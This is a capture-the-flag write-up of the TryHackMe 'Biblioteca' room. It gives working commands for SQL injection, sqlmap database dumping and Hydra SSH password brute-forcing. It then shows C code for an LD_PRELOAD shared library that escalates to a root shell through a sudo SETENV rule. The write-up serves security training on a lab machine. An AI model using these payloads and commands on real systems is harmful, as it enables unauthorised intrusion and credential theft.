Shhh. Be very very quiet, no shouting inside the biblioteca.

The goal is usual (hit ’em with the classics): get the user and root flag.

THM Room: https://tryhackme.com/room/biblioteca

Reconnaissance

Let us start with nmap scan:

nmap -sC -sV -v 10.10.215.100

We see two open ports: 22 (SSH) and 8000 (HTTP), with a Python application.

Let us take a closer look at the site.

If we open Developer Tools and try to log in, we will see a request to /login with two fields: username and password:

Nothing fancy —we can try brute-forcing credentials with Hydra. The only issue is that we don’t have credentials to work with.

What we can try is a simple SQL injection attack: set the username to ' OR 1 /* -- and see what happens:

The server’s response indicates that something went wrong. Let us exploit this further with sqlmap and run gobuster in parallel, in the hope of finding something interesting:

sqlmap \
    --url http://10.10.215.100:8000/login \
    --data 'username=admin&password=admin' \
    --batch
gobuster dir \
    --url http://10.10.215.100:8000/ \
    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt \
    -t 32

sqlmap quickly finds the vulnerability:

gobuster is less lucky:

Exploitation

Now that we have found a potential attack vector, let us exploit it.

First, get the list of databases:

sqlmap \
    --url http://10.10.215.100:8000/login \
    --data 'username=admin&password=admin' \
    --batch --dbs

There are three databases. The system ones (information_schema and performance_schema) are not interesting; we only need website.

Let us dig deeper:

sqlmap \
    --url http://10.10.215.100:8000/login \
    --data 'username=admin&password=admin' \
    --batch \
    -D website \
    --tables

There is only one table, users. Let us explore further:

sqlmap \
    --url http://10.10.215.100:8000/login \
    --data 'username=admin&password=admin' \
    --batch \
    -D website \
    -T users
    --dump

We have the username and the password. If we log into the site, we will see something non-functional and non-exploitable, so let us move along and try SSH.

And we are in:

However, the user is not privileged enough, does not have access to any interesting files, and there are no SUID/SGID executables to exploit. Linpeas suggests several exploits (such as CVE-2021-3156 and CVE-2021-4034), but they do not work. We have to admit we need another user.

Let us take a closer look at the users we have:

Our next victim is definitely hazel.

Unfortunately, there are no clues in the system about Hazel’s password (or at least I couldn’t find any). This means we need to resort to brute forcing.

hydra \
    -e sr \
    -l hazel \
    -P /usr/share/wordlists/rockyou.txt \
    ssh://10.10.215.100

Hydra quickly finds the password, and we can switch to hazel:

Privilege Escalation

We have the first flag and can use sudo to run /usr/bin/python3 /home/hazel/hasher.py and set arbitrary environment variables.

SETENV and NOSETENV

These tags override the value of the setenv flag on a per-command basis. Note that if SETENV has been set for a command, the user may disable the env_reset flag from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner.

/home/hazel/hasher.py is the script that does not need sudo:

import hashlib

def hashing(passw):

    md5 = hashlib.md5(passw.encode())

    print("Your MD5 hash is: ", end ="")
    print(md5.hexdigest())

    sha256 = hashlib.sha256(passw.encode())

    print("Your SHA256 hash is: ", end ="")
    print(sha256.hexdigest())

    sha1 = hashlib.sha1(passw.encode())

    print("Your SHA1 hash is: ", end ="")
    print(sha1.hexdigest())


def main():
    passw = input("Enter a password to hash: ")
    hashing(passw)

if __name__ == "__main__":
    main()

We cannot modify or replace the script, as Hazel’s home directory is owned by root and hazel has no write access.

However, because of SETENV, we can use LD_PRELOAD to drop to a root shell:

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
gcc -D_GNU_SOURCE -fPIC -shared -nostartfiles shell.c -o shell.so
sudo LD_PRELOAD=./shell.so /usr/bin/python3 /home/hazel/hasher.py

And we’ve got the root flag!

Write-up: Biblioteca
Tagged on:             

Leave a Reply

Your email address will not be published. Required fields are marked *